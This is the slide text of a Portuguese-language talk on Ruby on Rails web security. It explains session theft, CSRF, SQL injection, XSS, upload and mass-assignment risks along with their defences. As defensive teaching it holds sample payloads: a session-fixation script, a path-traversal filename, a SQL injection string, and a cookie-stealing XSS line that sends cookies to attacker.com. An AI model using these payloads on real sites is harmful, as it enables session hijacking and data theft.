SegurançA E Ruby On Rails

Preview:

DESCRIPTION

Segurança e Ruby on Rails: O que você deve fazer, e o que o Rails pode fazer por você

Citation preview

Segurança &Ruby on Rails

http://julio.monteiro.eti.br

quinta-feira, 28 de janeiro de 2010

whoami

quinta-feira, 28 de janeiro de 2010

Joinville, SCquinta-feira, 28 de janeiro de 2010

CCT, UDESCquinta-feira, 28 de janeiro de 2010

quinta-feira, 28 de janeiro de 2010

quinta-feira, 28 de janeiro de 2010

Joinville,  SC

quinta-feira, 28 de janeiro de 2010

Curi.ba,  PRJoinville,  SC

quinta-feira, 28 de janeiro de 2010

Curi.ba,  PRJoinville,  SCSão  Paulo,  SP

quinta-feira, 28 de janeiro de 2010

Curi.ba,  PRJoinville,  SCSão  Paulo,  SP

Benguela,  Angola

quinta-feira, 28 de janeiro de 2010

@edevandro

@fracazo

@evandrodutra

@gilzanella

@machaduss

@jmonteiro

@garridovaz

@patrickespake

@robertoespinha

@jacksonrovina

@pitagorasgg

@anelize

@mspiazera

quinta-feira, 28 de janeiro de 2010

Sessões

quinta-feira, 28 de janeiro de 2010

Sessões

• HTTP é um protocolo stateless

• Sessão é identificada por um cookie (contendo uma identificação e um hash)

• Enviado do servidor para o cliente, e do cliente para o servidor

quinta-feira, 28 de janeiro de 2010

quinta-feira, 28 de janeiro de 2010

Roubo de Sessão

quinta-feira, 28 de janeiro de 2010

Roubo de Sessão

• Roubo de um arquivo de cookie por um “atacante”

• Permite que o atacante aja em nome da vítima

quinta-feira, 28 de janeiro de 2010

Como uma sessão pode ser roubada?

Roubo Como combater?

quinta-feira, 28 de janeiro de 2010

Como uma sessão pode ser roubada?

Roubo Como combater?

Sniffers em uma rede

quinta-feira, 28 de janeiro de 2010

Como uma sessão pode ser roubada?

Roubo Como combater?

Sniffers em uma rede SSL (https)

quinta-feira, 28 de janeiro de 2010

Como uma sessão pode ser roubada?

Roubo Como combater?

Sniffers em uma rede SSL (https)

Utilizar computadores “públicos”

quinta-feira, 28 de janeiro de 2010

Como uma sessão pode ser roubada?

Roubo Como combater?

Sniffers em uma rede SSL (https)

Utilizar computadores “públicos”

Botão “logout”,expirar sessão

quinta-feira, 28 de janeiro de 2010

Como uma sessão pode ser roubada?

Roubo Como combater?

Sniffers em uma rede SSL (https)

Utilizar computadores “públicos”

Botão “logout”,expirar sessão

Session Fixation

quinta-feira, 28 de janeiro de 2010

Como uma sessão pode ser roubada?

Roubo Como combater?

Sniffers em uma rede SSL (https)

Utilizar computadores “públicos”

Botão “logout”,expirar sessão

Session Fixation (mais adiante)

quinta-feira, 28 de janeiro de 2010

Como uma sessão pode ser roubada?

Roubo Como combater?

Sniffers em uma rede SSL (https)

Utilizar computadores “públicos”

Botão “logout”,expirar sessão

Session Fixation (mais adiante)

XSS

quinta-feira, 28 de janeiro de 2010

Como uma sessão pode ser roubada?

Roubo Como combater?

Sniffers em uma rede SSL (https)

Utilizar computadores “públicos”

Botão “logout”,expirar sessão

Session Fixation (mais adiante)

XSS (mais adiante)

quinta-feira, 28 de janeiro de 2010

Dica:

Nunca armazene objetos grandes em uma sessão.

quinta-feira, 28 de janeiro de 2010

Dica:

Nunca armazene informações críticas

em uma sessão.

quinta-feira, 28 de janeiro de 2010

Como uma sessão é armazenada?

quinta-feira, 28 de janeiro de 2010

Como uma sessão é armazenada?

• ActiveRecordStore: armazena no banco de dados (tabela “sessions”)

• CookieStore: armazena em um cookie do usuário

quinta-feira, 28 de janeiro de 2010

quinta-feira, 28 de janeiro de 2010

Replay Attack no CookieStore

quinta-feira, 28 de janeiro de 2010

Replay Attack no CookieStore

1. Usuário ativa um cupom de presente na sua loja online, ficando com R$50 de crédito (armazenado na sessão)

quinta-feira, 28 de janeiro de 2010

Replay Attack no CookieStore

1. Usuário ativa um cupom de presente na sua loja online, ficando com R$50 de crédito (armazenado na sessão)

2. Usuário compra algo custando R$40

quinta-feira, 28 de janeiro de 2010

Replay Attack no CookieStore

1. Usuário ativa um cupom de presente na sua loja online, ficando com R$50 de crédito (armazenado na sessão)

2. Usuário compra algo custando R$40

3. Sessão agora armazena que usuário tem R$10

quinta-feira, 28 de janeiro de 2010

Replay Attack no CookieStore

1. Usuário ativa um cupom de presente na sua loja online, ficando com R$50 de crédito (armazenado na sessão)

2. Usuário compra algo custando R$40

3. Sessão agora armazena que usuário tem R$10

4. Usuário sobreescreve a sessão atual pela sessão inicial, ficando com R$50 novamente

quinta-feira, 28 de janeiro de 2010

Session Fixation

quinta-feira, 28 de janeiro de 2010

Session Fixation

<script>document.cookie="_session_id=16d5b78abb

28e3d6206b60f22a03c8d9";</script>

quinta-feira, 28 de janeiro de 2010

Session Fixationquinta-feira, 28 de janeiro de 2010

Como combater Session Fixation?

Utilize reset_session ao realizar login e/ou armazenar algo do usuário (como IP ou

navegador).

quinta-feira, 28 de janeiro de 2010

Expirando sessões

quinta-feira, 28 de janeiro de 2010

Expirando sessões

• Expire-as de tempo em tempo (com base no updated_at e no created_at)

• Um simples rake no crontab já resolve

quinta-feira, 28 de janeiro de 2010

CSRF

quinta-feira, 28 de janeiro de 2010

CSRF

• Cross-Site Request Forgery

• Trata-se de aproveitar da sessão de um usuário, forçando-o (muitas vezes sem saber) a realizar determinada ação

quinta-feira, 28 de janeiro de 2010

CSRFquinta-feira, 28 de janeiro de 2010

Como combater CSRF?

Utilize os métodos HTTP da maneira correta (GET e POST, obrigatoriamente; e PUT e

DELETE se possível)

quinta-feira, 28 de janeiro de 2010

quinta-feira, 28 de janeiro de 2010

quinta-feira, 28 de janeiro de 2010

Como combater CSRF?

• Utilize os métodos HTTP da maneira correta (GET e POST, obrigatoriamente; e PUT e DELETE se possível)

• Utilize um token

quinta-feira, 28 de janeiro de 2010

Como combater CSRF?

• Utilize os métodos HTTP da maneira correta (GET e POST, obrigatoriamente; e PUT e DELETE se possível)

• Utilize um token

quinta-feira, 28 de janeiro de 2010

Injeção em Redirecionamentos

quinta-feira, 28 de janeiro de 2010

Como combater injeções em Redirecionamentos?

Não aceite URLs (ou partes dela)como parâmetro.

quinta-feira, 28 de janeiro de 2010

Uploads de arquivos

quinta-feira, 28 de janeiro de 2010

Uploads de arquivos

• Algumas (várias?) aplicações aceitam uploads, recebendo um arquivo e um nome de arquivo.

• Se você armazena os arquivos em /var/www/uploads, imagine se alguém fizer upload de um arquivo chamado../../../etc/passwd ?

quinta-feira, 28 de janeiro de 2010

Como combater uploads maliciosos?

Evite receber o nome do arquivo, ou crie um filtro com expressão regular.

quinta-feira, 28 de janeiro de 2010

DoS por uploads

quinta-feira, 28 de janeiro de 2010

DoS por uploads

• Se seu site processa arquivos (como imagens, gerando miniaturas), nunca faça-o sincronamente.

• Imagine alguém enviando milhares de arquivos ao mesmo tempo?

quinta-feira, 28 de janeiro de 2010

Como combater DoS por uploads?

Processe arquivos assincronamente (em um daemon ou em um cron); se possível, até em

uma máquina separada.

quinta-feira, 28 de janeiro de 2010

Upload de executáveis

quinta-feira, 28 de janeiro de 2010

Upload de executáveis

• Você terá problemas se armazenar seus arquivos em algum local "autorizado" a executar executáveis (como .CGI no Apache Document Directory do seu Virtual Host)

quinta-feira, 28 de janeiro de 2010

Como combater DoS por uploads?

Simplesmente tenha certeza que seu servidor web não está executando arquivos naquele

diretório.

quinta-feira, 28 de janeiro de 2010

Downloads não autorizados

quinta-feira, 28 de janeiro de 2010

Downloads não autorizados

• Evite que os usuários "escolham" o que querem baixar, como em:

quinta-feira, 28 de janeiro de 2010

Downloads não autorizados

• Evite que os usuários "escolham" o que querem baixar, como em:

quinta-feira, 28 de janeiro de 2010

Como combater downloads não autorizados?

quinta-feira, 28 de janeiro de 2010

Como combater downloads não autorizados?

Opcionalmente, armazene o nome do arquivo no banco de dados, identificando-

o para o usuário através de um id.

quinta-feira, 28 de janeiro de 2010

Mass Assignment

quinta-feira, 28 de janeiro de 2010

Mass Assignment

• Você sabia que o "script/generate scaffold" não gera o código mais completo e seguro do mundo? :)

quinta-feira, 28 de janeiro de 2010

Mass Assignment

quinta-feira, 28 de janeiro de 2010

Como combater aproveitamentos do mass assignment?

quinta-feira, 28 de janeiro de 2010

Como combater aproveitamentos do mass assignment?

Modo paranóico:

quinta-feira, 28 de janeiro de 2010

Força bruta nologin do usuário

quinta-feira, 28 de janeiro de 2010

Como combater ataque de força bruta?

CAPTCH depois de determinadas tentativas falhas de login.

Utilize uma mensagem de erro genérica, como “usuário OU senha inválido, tente novamente”.

quinta-feira, 28 de janeiro de 2010

Hijacks diversos

quinta-feira, 28 de janeiro de 2010

Hijacks diversos

• Senhas: requira que o usuário digite a antiga senha para conseguir mudar.

quinta-feira, 28 de janeiro de 2010

Hijacks diversos

• Senhas: requira que o usuário digite a antiga senha para conseguir mudar.

• Email: requira que o usuário digite a antiga senha para conseguir mudar

quinta-feira, 28 de janeiro de 2010

Hijacks diversos

• Senhas: requira que o usuário digite a antiga senha para conseguir mudar.

• Email: requira que o usuário digite a antiga senha para conseguir mudar

• Outros: lembra do “problema” do GMail?

quinta-feira, 28 de janeiro de 2010

CAPTCHA

quinta-feira, 28 de janeiro de 2010

CAPTCHA negativo

quinta-feira, 28 de janeiro de 2010

Informações sensíveis no Log

quinta-feira, 28 de janeiro de 2010

Como combater informações sensíveis no log?

quinta-feira, 28 de janeiro de 2010

Expressões regulares

quinta-feira, 28 de janeiro de 2010

Expressões regulares

quinta-feira, 28 de janeiro de 2010

Expressões regulares

quinta-feira, 28 de janeiro de 2010

Como combater aproveitamento de expressões regulares?

Use \A ao invés de ^

Use \Z ao invés de $

quinta-feira, 28 de janeiro de 2010

Escalação de privilégios

quinta-feira, 28 de janeiro de 2010

http://www.example.com/projects/1

Escalação de privilégios

quinta-feira, 28 de janeiro de 2010

Escalação de privilégios

quinta-feira, 28 de janeiro de 2010

Como combater aproveitamento de expressões regulares?

quinta-feira, 28 de janeiro de 2010

Whitelist > Blacklist

quinta-feira, 28 de janeiro de 2010

Whitelist rula!

• before_filter :only => [...] ao invés de before_filter :except => [...]

quinta-feira, 28 de janeiro de 2010

Whitelist rula!

• before_filter :only => [...] ao invés de before_filter :except => [...]

• attr_accessible ao invés de attr_protected

quinta-feira, 28 de janeiro de 2010

Whitelist rula!

• before_filter :only => [...] ao invés de before_filter :except => [...]

• attr_accessible ao invés de attr_protected

• Permita somente <strong> ao invés de remover <script>

quinta-feira, 28 de janeiro de 2010

Injeção SQL

quinta-feira, 28 de janeiro de 2010

Injeção SQL

quinta-feira, 28 de janeiro de 2010

Injeção SQL

' OR 1 --

quinta-feira, 28 de janeiro de 2010

Injeção SQL

' OR 1 --

SELECT * FROM projects WHERE name = '' OR 1 --'

quinta-feira, 28 de janeiro de 2010

Como combater injeções SQL?

quinta-feira, 28 de janeiro de 2010

XSS

quinta-feira, 28 de janeiro de 2010

XSS

• Cross Site Scripting

• Atualmente é o tipo de ataque mais comum, segundo a Symantec Global Internet Security Threat Report.

• Mais de 510.000 sites tiveram este tipo de ataque só em abril de 2008.

• Diversas ferramentas para auxiliar estes ataques, como o MPack.

quinta-feira, 28 de janeiro de 2010

XSS: Injeção JavaScript

quinta-feira, 28 de janeiro de 2010

XSS: Injeção JavaScript

<script>alert('Hello');</script>

<table background="javascript:alert('Hello')">

quinta-feira, 28 de janeiro de 2010

XSS: Roubo de Cookie

quinta-feira, 28 de janeiro de 2010

XSS: Roubo de Cookie

<script>document.write(document.cookie);</script>

<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>

quinta-feira, 28 de janeiro de 2010

XSS: Defacement

quinta-feira, 28 de janeiro de 2010

XSS: Defacement

<iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe>

quinta-feira, 28 de janeiro de 2010

Como combater estes ataques XSS?

Limpe a “entrada” do usuário com o método sanatize.

quinta-feira, 28 de janeiro de 2010

Como combater estes ataques XSS?

Limpe a “entrada” do usuário com o método sanatize.

Limpe a “saída” (impressão) com escapeHTML(), também chamado de h().

quinta-feira, 28 de janeiro de 2010

Como combater estes ataques XSS?

Limpe a “entrada” do usuário com o método sanatize.

Limpe a “saída” (impressão) com escapeHTML(), também chamado de h().

<%=h @user.name %>

quinta-feira, 28 de janeiro de 2010

XSS: Injeção CSS

quinta-feira, 28 de janeiro de 2010

XSS: Injeção CSS

background:url('javascript:alert(1)')

quinta-feira, 28 de janeiro de 2010

Como combater estes ataque XSS de injeção CSS?

Evite CSS personalizado.

quinta-feira, 28 de janeiro de 2010

Dicas sobre a interface administrativa

quinta-feira, 28 de janeiro de 2010

• Coloque-a em um subdomínio distinto, como admin.campusparty.com.br. Isso evita truques com Cookies.

Dicas sobre a interface administrativa

quinta-feira, 28 de janeiro de 2010

• Coloque-a em um subdomínio distinto, como admin.campusparty.com.br. Isso evita truques com Cookies.

• Se possível, limite o acesso administrativo a um número restritos de IP (ou a uma faixa).

Dicas sobre a interface administrativa

quinta-feira, 28 de janeiro de 2010

• Coloque-a em um subdomínio distinto, como admin.campusparty.com.br. Isso evita truques com Cookies.

• Se possível, limite o acesso administrativo a um número restritos de IP (ou a uma faixa).

• Que tal uma senha especial para ações importantes, como deletar usuários?

Dicas sobre a interface administrativa

quinta-feira, 28 de janeiro de 2010

http://www.pragprog.comquinta-feira, 28 de janeiro de 2010

http://www.rorsecurity.info

quinta-feira, 28 de janeiro de 2010

http://guias.rubyonrails.pro.br/

quinta-feira, 28 de janeiro de 2010

Segurança &Ruby on Rails

http://julio.monteiro.eti.br

quinta-feira, 28 de janeiro de 2010